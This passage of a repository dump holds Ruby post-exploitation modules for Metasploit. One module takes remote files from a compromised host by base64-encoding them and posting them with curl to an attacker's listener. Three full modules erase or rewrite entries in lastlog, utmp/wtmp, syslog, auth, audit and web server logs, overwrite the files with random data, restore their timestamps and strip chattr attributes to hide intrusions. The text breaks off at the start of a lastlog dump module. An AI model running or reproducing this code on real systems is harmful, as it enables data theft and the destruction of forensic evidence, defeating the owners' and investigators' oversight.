])) 30 | register_options( 31 | [ 32 | OptString.new('LFILE', [ true, 'Local file name']), 33 | OptString.new('RFILE', [ true, 'Remote file or directory']), 34 | OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]), 35 | OptString.new('SRVPORT', [ true, 'The local port']) 36 | ], self.class 37 | ) 38 | 39 | @post_data = nil 40 | end 41 | 42 | def run 43 | cmd = find_upload_tool 44 | raise "Cannot find a tool for uploading files" if cmd.nil? 45 | remote_file = datastore['RFILE'] 46 | local_file = datastore['LFILE'] 47 | upload(remote_file, local_file, cmd) 48 | end 49 | 50 | def find_upload_tool 51 | if session.methods.include? :cache 52 | if session.cache.exists?("upload_cmd") 53 | command = session.cache.read("upload_cmd") 54 | vprint_status("already found a command for : #{command}") 55 | return command 56 | end 57 | end 58 | 59 | download_tools = { 60 | 'curl' => %q(curl -k -f -d @- '__URL__' ), 61 | 'POST' => %q(POST -t 15 '__URL__' ) 62 | } 63 | download_tools.each_pair do |_tool, cmd| 64 | # if installed? tool 65 | # next unless true 66 | command = can_upload?(cmd) 67 | if command 68 | vprint_status("Upload command: #{command}") 69 | return command 70 | end 71 | end 72 | nil 73 | end 74 | 75 | def can_upload?(cmd) 76 | base64_command = find_base64_command 77 | raise "Cannot find a base64 encoding command" if base64_command.nil? 78 | upload_cmd = base64_command + '|' + cmd 79 | 80 | test_token = token = ::Rex::Text.rand_text_alpha(12) 81 | @htdoc = test_token 82 | tmp_file = "/tmp/" + ::Rex::Text.rand_text_alpha(12) 83 | session.shell_command_token("echo #{token} > #{tmp_file}") 84 | 85 | path = random_uri 86 | cmd = base64_command + '|' + cmd 87 | 88 | downloaded = start_webserver(path, cmd, tmp_file).to_s 89 | if downloaded == test_token 90 | session.cache.add("download_cmd", upload_cmd) if session.methods.include? :cache 91 | upload_cmd 92 | else 93 | nil 94 | end 95 | end 96 | 97 | def upload(remote_file, local_file, cmd) 98 | path = random_uri 99 | # cmd = base64_command + '|' + cmd 100 | downloaded = start_webserver(path, cmd, remote_file).to_s 101 | ::File.open(local_file, "wb") do |fd| 102 | fd.write downloaded 103 | end 104 | end 105 | 106 | def on_request_uri(cli, req) 107 | fake = "HTTP/1.1 404 Not Found\r\n\r\n" 108 | # print_debug("on_request_uri called: #{req.inspect}") 109 | data = req.to_s.match(/\r\n\r\n(.*)/)[1] 110 | send_response(cli, fake) 111 | @post_data = Rex::Text.decode_base64(data).chomp 112 | @request_done = true 113 | end 114 | 115 | def start_webserver(path, cmd, file) 116 | server_host = datastore['SRVHOST'] 117 | server_port = datastore['SRVPORT'].to_s 118 | if datastore['SSL'] == true 119 | scheme = 'https://' 120 | else 121 | scheme = 'http://' 122 | end 123 | download_url = scheme + server_host + ':' + server_port + path 124 | cmd = cmd.gsub('__READ_FILE__', file) 125 | cmd = cmd.gsub('__URL__', download_url) 126 | 127 | @request_done = false 128 | start_service('Uri' => { 129 | 'Proc' => proc do |cli, req| 130 | on_request_uri(cli, req) 131 | end, 132 | 'Path' => path 133 | }) 134 | out = cmd_exec(cmd) 135 | # vprint_status("Webserver debug: #{out}") 136 | @post_data 137 | end 138 | end 139 | -------------------------------------------------------------------------------- /modules/post/unix/general/logs/clear_lastlog.rb: -------------------------------------------------------------------------------- 1 | #$LOAD_PATH.push "../staekka/external/bindata/lib" 2 | #$LOAD_PATH.push File.expand_path(File.join(Msf::Config.staekka_path, 'external', 'bindata', 'lib' )) 3 | 4 | require 'bindata' 5 | require 'time' 6 | require 'ipaddr' 7 | require 'tempfile' 8 | 9 | 10 | require 'msf/core' 11 | require 'msf/core/post/file' 12 | require 'core/post/staekka' 13 | require 'core/post/staekka/file' 14 | require 'core/post/staekka/unix' 15 | require 'core/post/unix/lastlog' 16 | require 'core/post/unix/commands' 17 | 18 | 19 | class MetasploitModule < Msf::Post 20 | include Msf::Post::Common 21 | include Msf::Post::File 22 | include Msf::Post::Staekka 23 | #include Msf::Post::Staekka::File 24 | include Msf::Post::Staekka::Unix 25 | include Msf::Post::Unix::Commands 26 | include Msf::Post::Updatedb 27 | 28 | def initialize(info = {}) 29 | super(update_info(info, 30 | 'Name' => 'Lastlog Logfiles Cleaner', 31 | 'Description' => %q(Clear lastlog logfiles), 32 | 'Author' => [ 'jot'], 33 | 'SessionTypes' => [ 'shell' ] 34 | )) 35 | register_options( 36 | [ 37 | OptBool.new('USE_UPDATEDB', [ false, 'Use an updatedb database and search for filenames instead of full path', true]), 38 | OptString.new('STRING', [ false, 'A string to be removed from the log files']), 39 | OptString.new('REPLACE', [ false, 'A string for replacing the original string (if empty logentries will be removed)']), 40 | OptString.new('FILES', [ false, 'A special log file']), 41 | OptString.new('NEW_TIME', [ false, 'Set new time stamp ']), 42 | OptString.new('USER', [ false, 'User to be deleted/changed']), 43 | ], self.class) 44 | end 45 | 46 | def run 47 | time_min = nil 48 | time_max = nil 49 | if datastore['STRING'] 50 | string = datastore['STRING'].to_s.strip 51 | if string.empty? 52 | string = nil 53 | end 54 | else 55 | string = nil 56 | end 57 | if datastore['REPLACE'] 58 | replace = datastore['REPLACE'].to_s.strip 59 | if replace.empty? 60 | replace = nil 61 | end 62 | else 63 | replace = nil 64 | end 65 | if datastore['USER'] 66 | user = datastore['USER'].to_s.strip 67 | if user.empty? 68 | user = nil 69 | end 70 | else 71 | user = nil 72 | end 73 | 74 | if datastore['NEW_TIME'] 75 | begin 76 | new_time = Time.parse(datastore['NEW_TIME']) 77 | rescue 78 | print_error "Wrong time format. Information about format: Time.parse (http://ruby-doc.org/stdlib-2.2.3/libdoc/time/rdoc/Time.html#method-c-parse)" 79 | raise ArgumentError 80 | end 81 | end 82 | 83 | all_log_files.each do |file| 84 | attr = nil 85 | ################ 86 | # check file permissions 87 | next unless permissions?(file) 88 | ################ 89 | # size check/warning 90 | size = filesize(file) 91 | if size.nil? || size == 0 92 | vprint_warning "#{file}: not readable or empty" 93 | next 94 | elsif size > 1024 * 1024 * 1024 # 1G 95 | print_error "#{file}: file size (#{size}) more than 1 G: This would fail and crash the session! Cannot download" 96 | print_error "#{file} will be igroned due to this size" 97 | next 98 | elsif size > 1024 * 1024 * 100 # 100 MB 99 | print_warning "#{file}: file size (#{size}) more than 100Mb: This will need long time and lot of recourses" 100 | print_error "#{file} will be igroned due to this size" 101 | next 102 | elsif size > 1024 * 1024 * 10 # 10 MB 103 | # 10 MB 104 | print_warning "#{file}: file size (#{size}) more than 10Mb: This will need a while" 105 | elsif size > 1024 * 1024 # 1MB 106 | print_warning "#{file}: file size (#{size}) more than 1Mb: This might need some time" 107 | else # less 108 | # OK 109 | end 110 | 111 | ################ 112 | # timestamp 113 | #tmpfile = touch_tmpfile(file) 114 | ############### 115 | # 116 | clean = clear_lastlog(file, user, string, replace, new_time) 117 | if clean.nil? 118 | print_error "Empty output: something might be wrong. check manualy!" 119 | next 120 | end 121 | ################## 122 | # overwrite file 123 | random_data = ::Rex::Text.rand_text_alpha(size) 124 | random_data << "\x00" * 256 125 | write_file(file, random_data) 126 | ################## 127 | # write file 128 | write_file(file, clean) 129 | # 130 | end 131 | end 132 | 133 | def all_log_files 134 | out = [] 135 | if datastore['FILES'] 136 | files = datastore['FILES'].split(" ") 137 | else 138 | files = log_files_lastlog 139 | end 140 | 141 | files.flatten! 142 | files.compact! 143 | files.uniq! 144 | 145 | files.each do |file| 146 | #puts "File? #{file}" 147 | file.strip! 148 | next if file.empty? 149 | if (file.start_with? '/') or (file.start_with? './') or (file.start_with? '..') 150 | if exists?(file) 151 | out << file 152 | end 153 | else 154 | # search updatedb 155 | out.concat find_files(file) 156 | end 157 | end 158 | out 159 | end 160 | 161 | def log_files_lastlog 162 | [ "/var/log/lastlog", # Linux 163 | "/var/adm/lastlog", # Solaris 164 | ] 165 | end 166 | 167 | def permissions?(file) 168 | if (readable?(file)) and (writeable?(file)) 169 | true 170 | else 171 | print_error "read permissions: #{readable?(file)}" 172 | print_error "write permissions: #{writeable?(file)}" 173 | print_error "Need read and write permissions for #{file} for changing it! Cannot go on" 174 | print_error "This could also be a known bug of this check. In this case you simply need to re-run this module" 175 | false 176 | end 177 | end 178 | 179 | def is_uid?(uid, username) 180 | begin 181 | user = Integer(username) 182 | uid == user 183 | rescue 184 | false 185 | end 186 | end 187 | # 188 | def clear_lastlog(logfile, user=nil, search=nil, replace=nil, new_time=nil) 189 | clear_data = '' 190 | unless search.nil? or search.empty? 191 | rx = Regexp.new(search) 192 | end 193 | logfile = StringIO.new(read_file(logfile, true, false)) 194 | lastlog = LastLog.new 195 | lastlog.read_passwd(read_file("/etc/passwd", true, false)) 196 | lastlog.each_entry(logfile) do | lastlog, uid | 197 | needs_modify = false 198 | modifyed = false 199 | data = lastlog.dump_entry(uid) 200 | username = lastlog.uidmap[uid] 201 | if user 202 | username = lastlog.uidmap[uid] 203 | 204 | if (username == user) or is_uid?(uid, user) 205 | needs_modify = true 206 | end 207 | end 208 | if rx 209 | if rx.match(data["ll_line"]) or rx.match(data["ll_host"]) 210 | print_status "Regex /#{rx}/ matches" 211 | needs_modify = true 212 | end 213 | end 214 | 215 | if needs_modify == true 216 | print_status "Need modify\tuid=#{uid} user=#{username} Line=|#{data["ll_line"]}| Host=|#{data["ll_host"]}| Time=#{data["ll_time"]}" 217 | if new_time 218 | print_status "#{data["ll_time"]} -> #{new_time.to_s}" 219 | data["ll_time"] = new_time.to_i 220 | modifyed = true 221 | end 222 | if rx and !replace.to_s.empty? 223 | if rx.match(data["ll_line"]) 224 | print_status "#{data["ll_line"]} -> #{replace}" 225 | data["ll_line"] = replace 226 | modifyed = true 227 | end 228 | if rx.match(data["ll_host"]) 229 | print_status "#{data["ll_host"]} -> #{replace}" 230 | data["ll_host"] = replace 231 | modifyed = true 232 | end 233 | end 234 | 235 | if modifyed == true 236 | entry = lastlog.create_entry(data, uid) 237 | else 238 | entry = lastlog.create_lastlog 239 | end 240 | else 241 | entry = lastlog.create_entry(data, uid) 242 | end 243 | clear_data << entry.to_binary_s 244 | 245 | end 246 | clear_data 247 | end 248 | 249 | end 250 | -------------------------------------------------------------------------------- /modules/post/unix/general/logs/clear_syslog.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | require 'msf/core/post/file' 3 | require 'core/post/staekka' 4 | require 'core/post/staekka/file' 5 | require 'core/post/staekka/unix' 6 | require 'core/post/unix/commands' 7 | 8 | class MetasploitModule < Msf::Post 9 | include Msf::Post::Common 10 | include Msf::Post::File 11 | include Msf::Post::Staekka 12 | include Msf::Post::Staekka::Unix 13 | include Msf::Post::Unix::Commands 14 | include Msf::Post::Updatedb 15 | 16 | def initialize(info = {}) 17 | super(update_info(info, 18 | 'Name' => 'Syslog Logfiles Cleaner', 19 | 'Description' => %q(Clear syslog like log files), 20 | 'Author' => [ 'jot'], 21 | 'SessionTypes' => [ 'shell' ] 22 | )) 23 | register_options( 24 | [ 25 | OptBool.new('USE_UPDATEDB', [ false, 'Use an updatedb database and search for filenames instead of full path', true]), 26 | OptString.new('STRING', [ true, 'A string to be removed from the log files']), 27 | OptString.new('REPLACE', [ false, 'A string for replacing the original string (if empty logentries will be removed)']), 28 | OptPath.new('FILES', [ false, 'A special log file']), 29 | OptString.new('LOGFORMAT', [false, 'Specify a special logformat. Can be "syslog" for typical syslog files, "by_line" for line based logfiles']), 30 | OptBool.new('LOCALEDIT', [ false, 'Edit text dump in local editor', false]), 31 | ], self.class) 32 | end 33 | 34 | def run 35 | string = datastore['STRING'].strip 36 | if string.empty? 37 | print_error('String empty') 38 | raise ArgumentError 39 | end 40 | 41 | localedit = datastore['LOCALEDIT'] 42 | 43 | if datastore['LOGFORMAT'] 44 | logformat = datastore['LOGFORMAT'] 45 | unless (logformat == 'syslog') or (logformat == 'by_line') 46 | print_error('Invalid logformat') 47 | raise ArgumentError 48 | end 49 | end 50 | 51 | replace = datastore['REPLACE'] 52 | 53 | all_log_files.each do |file| 54 | logformat = nil 55 | tmpfile = nil 56 | attr = nil 57 | ################ 58 | # check file permissions 59 | next unless permissions?(file) 60 | ################ 61 | # size check/warning 62 | size = filesize(file) 63 | if size.nil? || size == 0 64 | vprint_warning "#{file}: not readable or empty" 65 | next 66 | elsif size > 1024 * 1024 * 1024 # 1G 67 | print_error "#{file}: file size (#{size}) more than 1 G: This would fail and crash the session! Cannot download" 68 | print_error "#{file} will be igroned due to this size" 69 | next 70 | elsif size > 1024 * 1024 * 100 # 100 MB 71 | print_warning "#{file}: file size (#{size}) more than 100Mb: This will need long time and lot of recourses" 72 | print_error "#{file} will be igroned due to this size" 73 | next 74 | elsif size > 1024 * 1024 * 10 # 10 MB 75 | # 10 MB 76 | print_warning "#{file}: file size (#{size}) more than 10Mb: This will need a while" 77 | elsif size > 1024 * 1024 # 1MB 78 | print_warning "#{file}: file size (#{size}) more than 1Mb: This might need some time" 79 | else # less 80 | # OK 81 | end 82 | 83 | ################ 84 | # timestamp 85 | tmpfile = touch_tmpfile(file) 86 | ############### 87 | # logfile? 88 | unless logformat 89 | if syslog_format?(file) 90 | logformat = 'syslog' 91 | end 92 | end 93 | 94 | if logformat.nil? 95 | vprint_info("#{file} unknown logformat.") 96 | touch(file, tmpfile) 97 | rm_f(tmpfile) 98 | next 99 | end 100 | ################ 101 | # unzip? TODO 102 | # file system attributes: 103 | # => linux 104 | attr = ext_attributes(file) 105 | if attr 106 | # remove attributes 107 | cmd_exec "chattr -#{attr} #{file}" 108 | end 109 | ################## 110 | # read file 111 | data = read_logfile(file) 112 | ################## 113 | # clear file 114 | 115 | if localedit 116 | editor = Rex::Compat.getenv('EDITOR') || 'vi' 117 | edit_file = Tempfile.new('logfile') 118 | edit_file.print data 119 | edit_file.close 120 | system("#{editor} #{edit_file.path}") 121 | clean = ::File.read edit_file.path 122 | elsif replace.to_s.empty? 123 | clean = remove_string(data, string, logformat) 124 | if data.length == clean.length 125 | print_info("#{file} was already clean") 126 | touch(file, tmpfile) 127 | rm_f(tmpfile) 128 | next 129 | end 130 | else 131 | clean = replace_string(data, string, replace) 132 | end 133 | 134 | ################## 135 | # overwrite file 136 | random_data = ::Rex::Text.rand_text_alpha(data.length) 137 | random_data << "\x00" * 256 138 | write_file(file, random_data) 139 | ################## 140 | # write file 141 | write_file(file, clean) 142 | #file.close 143 | ################## 144 | # file system attributes: 145 | if attr 146 | # add attributes again 147 | cmd_exec "chattr +#{attr} #{file}" 148 | end 149 | ################## 150 | # zip? 151 | ################## 152 | # timestamp 153 | touch(file, tmpfile) 154 | rm_f(tmpfile) 155 | end 156 | end 157 | 158 | def all_log_files 159 | out = [] 160 | if datastore['FILES'] 161 | files = datastore['FILES'].split(" ") 162 | else 163 | files = log_files_syslog + log_files_web 164 | end 165 | 166 | files.flatten! 167 | files.compact! 168 | files.uniq! 169 | 170 | files.each do |file| 171 | file.strip! 172 | next if file.empty? 173 | if (file.start_with? '/') or (file.start_with? './') or (file.start_with? '..') 174 | if exists?(file) 175 | out << file 176 | end 177 | else 178 | # search updatedb 179 | out.concat find_files(file) 180 | end 181 | end 182 | out 183 | end 184 | 185 | def log_files_syslog 186 | [ 187 | '/var/log/messages', 188 | '/var/log/auth.log', 189 | '/var/log/auth', 190 | '/var/log/debug', 191 | '/var/log/ssh.log', 192 | '/var/log/ssh', 193 | '/var/log/debug.log', 194 | '/var/log/audit', 195 | '/var/log/audit.log', 196 | '/var/log/kernel', 197 | '/var/log/kernel.log', 198 | ] 199 | end 200 | 201 | def log_files_web 202 | [ 203 | '/var/log/apache2/access', 204 | '/var/log/apache2/access.log', 205 | '/var/log/apache2/error', 206 | '/var/log/apache2/error.log', 207 | '/var/log/apache2/ssl_access', 208 | '/var/log/apache2/ssl_access.log', 209 | '/var/log/apache2/ssl_error', 210 | '/var/log/apache2/ssl_error.log', 211 | '/var/log/apache/access', 212 | '/var/log/apache/access.log', 213 | '/var/log/apache/error', 214 | '/var/log/apache/error.log', 215 | '/var/log/apache/ssl_access', 216 | '/var/log/apache/ssl_access.log', 217 | '/var/log/apache/ssl_error', 218 | '/var/log/apache/ssl_error.log', 219 | '/var/log/httpd/access', 220 | '/var/log/httpd/access.log', 221 | '/var/log/httpd/error', 222 | '/var/log/httpd/error.log', 223 | '/var/log/httpd/ssl_access', 224 | '/var/log/httpd/ssl_access.log', 225 | '/var/log/httpd/ssl_error', 226 | '/var/log/httpd/ssl_error.log', 227 | '/var/log/web/access', 228 | '/var/log/web/access.log', 229 | '/var/log/web/error', 230 | '/var/log/web/error.log', 231 | '/var/log/web/ssl_access', 232 | '/var/log/web/ssl_access.log', 233 | '/var/log/web/ssl_error', 234 | '/var/log/web/ssl_error.log', 235 | '/var/log/lighttpd/access.log', 236 | '/var/log/lighttpd/error.log', 237 | '/var/log/thttpd.log', 238 | '/var/log/nginx/access.log', 239 | '/var/log/nginx/error.log', 240 | ] 241 | end 242 | 243 | def permissions?(file) 244 | if (readable?(file)) and (writeable?(file)) 245 | true 246 | else 247 | print_error "Need read and write permissions for #{file} for changing it! Cannot go on" 248 | false 249 | end 250 | end 251 | 252 | def ext_attributes(file) 253 | attributes = nil 254 | out = cmd_exec("lsattr #{file} 2>/dev/null") 255 | out = out.to_s.strip 256 | return nil if out.empty? 257 | attributes = out.split(" ")[0].to_s.delete('-') 258 | unless attributes.match(/^[aAcCdDeEhiIjNsStTuXZ]$/) 259 | return nil 260 | end 261 | attributes 262 | end 263 | 264 | def read_logfile(file) 265 | data = nil 266 | data = read_file(file, false, false) # TODO: read_file(file, false, false) if .gz 267 | data 268 | end 269 | 270 | def syslog_format?(data) 271 | logformats = [ 272 | # '%b %e %l:%M:%S', 273 | '%b %e %H:%M:%S', 274 | '%b %d %H:%M:%S', 275 | '%b %-d %H:%M:%S', 276 | '%b %e %T', 277 | '%b %d %H:%M:%S', 278 | '%b %d %Y %H:%M:%S', 279 | '%Y-%m-%d %H:%M:%S', 280 | "%d-%m-%Y \t %H:%M:%S", 281 | "%Y-%m-%d \t %H:%M:%S", 282 | '%d-%m-%Y - %H:%M:%S', 283 | '%a, %d %b %Y %H:%M:%S %z', 284 | '%FT%T', 285 | '%Y-%m-%d %X', 286 | '%Y-%m-%d %H:%M:%S', 287 | '%Y-%m-%dT%H:%M:%S', 288 | '%b %e %Y %H:%M:%S ', 289 | '%a, %Y-%m-%d %H:%M:%S', 290 | ########### 291 | # also web server logs 292 | '%d/%b/%Y:%T', 293 | '%a %b %-d %H:%M:%S %Y', 294 | ] 295 | number_of_lines = 10 296 | #first_lines = IO.readlines(file)[0..number_of_lines] 297 | #last_lines = IO.readlines(file)[(number_of_lines * -1)..-1] 298 | first_lines = data.split("\n")[0..number_of_lines] 299 | last_lines = data.split("\n")[(number_of_lines * -1)..-1] 300 | data = first_lines.to_a.join + last_lines.to_a.join 301 | data.each_line do |line| 302 | valid = false 303 | begin 304 | timestamp = Time.parse(line) 305 | rescue 306 | timestamp = nil 307 | end 308 | if timestamp.nil? 309 | break 310 | end 311 | logformats.each do |l| 312 | t = timestamp.strftime(l) 313 | if line.start_with? t 314 | valid = true 315 | break 316 | elsif line.match(/^\[#{t}\]/) 317 | valid = true 318 | break 319 | elsif line.match(/^rnrsoft\s*#{t}/) 320 | valid = true 321 | break 322 | elsif line.match(/^#{t}/) 323 | valid = true 324 | break 325 | end 326 | end 327 | if valid == false 328 | vprint_error "No syslog log format:\n#{line.dump}" 329 | return false 330 | end 331 | 332 | end 333 | true 334 | end 335 | 336 | def replace_string(data, string, replace) 337 | data.gsub(/#{string}/, replace) 338 | end 339 | 340 | def remove_string(data, string, logformat) 341 | case logformat 342 | when 'syslog' 343 | remove_string_syslog(data, string) 344 | when 'by_line' 345 | remove_string_by_line(data, string) 346 | else 347 | raise 'Invalid logformat' 348 | end 349 | end 350 | 351 | def remove_string_by_line(data, string) 352 | rx = Regexp.new(string) 353 | out = '' 354 | data.each_line do |line| 355 | if rx.match(line) 356 | else 357 | out << line 358 | end 359 | end 360 | out 361 | end 362 | 363 | def remove_string_syslog(data, string) 364 | rx = Regexp.new(string) 365 | out = '' 366 | log_entry = '' 367 | timestamp = nil 368 | data.each_line do |line| 369 | revious_timestamp = timestamp 370 | begin 371 | timestamp = Time.parse(line) 372 | rescue 373 | timestamp = nil 374 | end 375 | if revious_timestamp == timestamp 376 | log_entry << line 377 | else 378 | if rx.match(log_entry) 379 | else 380 | out << log_entry 381 | end 382 | log_entry = line 383 | end 384 | end 385 | out 386 | end 387 | 388 | def touch_tmpfile(file) 389 | tmpfile = '/tmp/' + ::Rex::Text.rand_text_alpha(16) 390 | touch(tmpfile, file) 391 | tmpfile 392 | end 393 | 394 | end 395 | -------------------------------------------------------------------------------- /modules/post/unix/general/logs/clear_utmp.rb: -------------------------------------------------------------------------------- 1 | #$LOAD_PATH.push File.expand_path(File.join(Msf::Config.staekka_path, 'external', 'bindata', 'lib' )) 2 | 3 | require 'bindata' 4 | require 'time' 5 | require 'ipaddr' 6 | require 'tempfile' 7 | 8 | require 'msf/core' 9 | require 'msf/core/post/file' 10 | require 'core/post/staekka' 11 | require 'core/post/staekka/file' 12 | require 'core/post/staekka/unix' 13 | require 'core/post/unix/utmp' 14 | require 'core/post/unix/commands' 15 | 16 | 17 | class MetasploitModule < Msf::Post 18 | include Msf::Post::Common 19 | include Msf::Post::File 20 | include Msf::Post::Staekka 21 | include Msf::Post::Staekka::Unix 22 | include Msf::Post::Unix::Commands 23 | include Msf::Post::Updatedb 24 | 25 | def initialize(info = {}) 26 | super(update_info(info, 27 | 'Name' => 'Utmp Logfiles Cleaner', 28 | 'Description' => %q(Clear utmp log files), 29 | 'Author' => [ 'jot'], 30 | 'SessionTypes' => [ 'shell' ] 31 | )) 32 | register_options( 33 | [ 34 | OptBool.new('USE_UPDATEDB', [ false, 'Use an updatedb database and search for filenames instead of full path', true]), 35 | OptString.new('STRING', [ false, 'A string to be removed from the log files']), 36 | OptString.new('REPLACE', [ false, 'A string for replacing the original string (if empty logentries will be removed)']), 37 | OptString.new('FILES', [ false, 'A special log file']), 38 | OptBool.new('LOCALEDIT', [ false, 'Edit text dump in local editor', false]), 39 | OptString.new('REMOVETIME_START', [ false, 'Delete all entries between REMOVETIME_START and REMOVETIME_STOP ']), 40 | OptString.new('REMOVETIME_STOP', [ false, 'Delete all entries between REMOVETIME_START and REMOVETIME_STOP ']), 41 | ], self.class) 42 | end 43 | 44 | def run 45 | time_min = nil 46 | time_max = nil 47 | string = datastore['STRING'].to_s.strip 48 | if string.empty? and datastore['REMOVETIME_START'].to_s.strip.empty? 49 | print_error('String empty') 50 | raise ArgumentError 51 | end 52 | replace = datastore['REPLACE'].to_s.strip 53 | localedit = datastore['LOCALEDIT'] 54 | 55 | if datastore['REMOVETIME_START'] and datastore['REMOVETIME_STOP'] 56 | begin 57 | time_min = Time.parse(datastore['REMOVETIME_START']) 58 | time_max = Time.parse(datastore['REMOVETIME_STOP']) 59 | rescue 60 | print_error "Wrong time format. Information about format: Time.parse (http://ruby-doc.org/stdlib-2.2.3/libdoc/time/rdoc/Time.html#method-c-parse)" 61 | raise ArgumentError 62 | end 63 | end 64 | 65 | all_log_files.each do |file| 66 | logformat = nil 67 | tmpfile = nil 68 | attr = nil 69 | ################ 70 | # check file permissions 71 | next unless permissions?(file) 72 | ################ 73 | # size check/warning 74 | size = filesize(file) 75 | if size.nil? || size == 0 76 | vprint_warning "#{file}: not readable or empty" 77 | next 78 | elsif size > 1024 * 1024 * 1024 # 1G 79 | print_error "#{file}: file size (#{size}) more than 1 G: This would fail and crash the session! Cannot download" 80 | print_error "#{file} will be igroned due to this size" 81 | next 82 | elsif size > 1024 * 1024 * 100 # 100 MB 83 | print_warning "#{file}: file size (#{size}) more than 100Mb: This will need long time and lot of recourses" 84 | print_error "#{file} will be igroned due to this size" 85 | next 86 | elsif size > 1024 * 1024 * 10 # 10 MB 87 | # 10 MB 88 | print_warning "#{file}: file size (#{size}) more than 10Mb: This will need a while" 89 | elsif size > 1024 * 1024 # 1MB 90 | print_warning "#{file}: file size (#{size}) more than 1Mb: This might need some time" 91 | else # less 92 | # OK 93 | end 94 | 95 | ################ 96 | # timestamp 97 | #tmpfile = touch_tmpfile(file) 98 | ############### 99 | # logfile? 100 | #dump_utmp(file) 101 | clean = clear_utmp(file, string, replace, localedit, time_min, time_max) 102 | if clean.nil? 103 | print_error "Empty output: something might be wrong. check manualy!" 104 | next 105 | end 106 | ################## 107 | # overwrite file 108 | random_data = ::Rex::Text.rand_text_alpha(size) 109 | random_data << "\x00" * 256 110 | write_file(file, random_data) 111 | ################## 112 | # write file 113 | write_file(file, clean) 114 | end 115 | end 116 | 117 | def all_log_files 118 | out = [] 119 | if datastore['FILES'] 120 | files = datastore['FILES'].split(" ") 121 | else 122 | files = log_files_utmp 123 | end 124 | 125 | files.flatten! 126 | files.compact! 127 | files.uniq! 128 | 129 | files.each do |file| 130 | file.strip! 131 | next if file.empty? 132 | if (file.start_with? '/') or (file.start_with? './') or (file.start_with? '..') 133 | if exists?(file) 134 | out << file 135 | end 136 | else 137 | # search updatedb 138 | out.concat find_files(file) 139 | end 140 | end 141 | out 142 | end 143 | 144 | def log_files_utmp 145 | [ "/var/log/wtmp", # Linux 146 | "/var/run/utmp", # Linux 147 | "/var/adm/utmpx", # Solaris 148 | "/var/adm/wtmpx", # Solaris 149 | "/etc/utmp", 150 | "/etc/utmpx", 151 | "/etc/wtmp", 152 | "/etc/wtmpx", 153 | "/usr/adm/utmp", 154 | "/usr/adm/utmpx", 155 | "/usr/adm/wtmp", 156 | "/usr/adm/wtmpx", 157 | "/usr/run/utmpx", 158 | "/usr/var/adm/utmp", 159 | "/usr/var/adm/utmpx", 160 | "/usr/var/adm/wtmp", 161 | "/usr/var/adm/wtmpx", 162 | "/var/adm/utmp", 163 | "/var/adm/wtmp", 164 | "/var/log/utmp", 165 | "/var/log/utmpx", 166 | "/var/log/wtmpx", 167 | "/var/run/utmpx", 168 | "/var/run/wtmp", 169 | "/var/run/wtmpx", 170 | ] 171 | end 172 | 173 | def permissions?(file) 174 | if (readable?(file)) and (writeable?(file)) 175 | true 176 | else 177 | print_error "read permissions: #{readable?(file)}" 178 | print_error "write permissions: #{writeable?(file)}" 179 | print_error "Need read and write permissions for #{file} for changing it! Cannot go on" 180 | print_error "This could also be a known bug of this check. In this case you simply need to re-run this module" 181 | false 182 | end 183 | end 184 | 185 | def get_utmp_type(logfile) 186 | [UtmpLinux.new, UtmpFreeBSD.new, UtmpBSD.new].each do |utmp| 187 | if utmp.size_ok?(logfile.size) 188 | if utmp.check_structure(logfile) 189 | return utmp 190 | end 191 | end 192 | end 193 | nil 194 | 195 | end 196 | 197 | def dump_utmp(file) 198 | logfile = ::File.new("/tmp/_utmp.tmp") 199 | utmp = get_utmp_type(logfile) 200 | if utmp.nil? 201 | print_error "Unkown UTMP structure for #{file}" 202 | return 203 | end 204 | utmp.each_entry(logfile) do | utmp, data | 205 | print_info utmp.print_entry(data) 206 | end 207 | end 208 | 209 | def clear_utmp(file, string, replace=nil, do_edit=false, time_min=nil, time_max=nil) 210 | rx = Regexp.new(string) 211 | clean_data = '' 212 | logfile = StringIO.new(read_file(file, true, false)) 213 | utmp = get_utmp_type(logfile) 214 | if utmp.nil? 215 | print_error "Unkown UTMP structure for #{file}" 216 | return 217 | end 218 | 219 | tmpdata = StringIO.new 220 | if do_edit == true 221 | editor = Rex::Compat.getenv('EDITOR') || 'vi' 222 | edit_file = Tempfile.new('utmp') 223 | edit_file.print utmp.print_lines(logfile) 224 | edit_file.close 225 | system("#{editor} #{edit_file.path}") 226 | tmpdata = StringIO.new(::File.read edit_file.path) 227 | else 228 | utmp.print_lines(logfile).each_line do |line| 229 | if rx.match(line) 230 | if (time_min) and (time_max) 231 | if line.match(/ut_tv_sec=\[(.*?)\]/) 232 | line_time = $1 233 | elsif line.match(/ut_time=\[(.*?)\]/) 234 | line_time = $1 235 | else 236 | line_time = nil 237 | end 238 | if line_time 239 | begin 240 | logtime = Time.parse(line_time) 241 | unless (logtime >= time_min) and (logtime <= time_max) 242 | tmpdata << line 243 | end 244 | rescue 245 | vprint_status "[ERROR] in parsing time (#{$1})" 246 | tmpdata << line 247 | end 248 | else 249 | vprint_status "[ERROR] in parsing time" 250 | tmpdata << line 251 | end 252 | elsif replace.to_s.empty? 253 | vprint_status "Found string='#{string}' so I am removing this line:\n#{line}" 254 | else 255 | tmpdata << line.gsub(/#{string}/, replace) 256 | end 257 | else 258 | tmpdata << line 259 | end 260 | end 261 | end 262 | tmpdata.rewind 263 | new_data = utmp.text_to_bin(tmpdata) 264 | new_data.each do |utmp| 265 | clean_data << utmp.to_binary_s 266 | end 267 | clean_data 268 | end 269 | end 270 | -------------------------------------------------------------------------------- /modules/post/unix/general/logs/dump_lastlog.rb: -------------------------------------------------------------------------------- 1 | # $LOAD_PATH.push(staekka_path() + '/external/bindata/lib') 2 | #$LOAD_PATH.push "#{ENV['STAEKKA_PATH']}/external/bindata/lib" 3 | #$LOAD_PATH.push File.expand_path(File.join(Msf::Config.staekka_path, 'external', 'bindata', 'lib' )) 4 | 5 | 6 | require 'bindata' 7 | require 'time' 8 | require 'ipaddr' 9 | require 'tempfile' 10 | 11 | 12 | require 'msf/core' 13 | require 'msf/core/post/file' 14 | require 'core/post/staekka' 15 | require 'core/post/staekka/file' 16 | require 'core/post/staekka/unix' 17 | require 'core/post/unix/lastlog' 18 | require 'core/post/unix/commands' 19 | 20 | 21 | 22 | class MetasploitModule < Msf::Post 23 | include Msf::Post::Common 24 | include Msf::Post::File 25 | include Msf::Post::Staekka 26 | include Msf::Post::Staekka::Unix 27 | include Msf::Post::Unix::Commands 28 | include Msf::Post::Updatedb 29 | 30 | def initialize(info = {}) 31 | super(update_info(info, 32 | 'Name' => 'Dump Lastlog Logfiles', 33 | 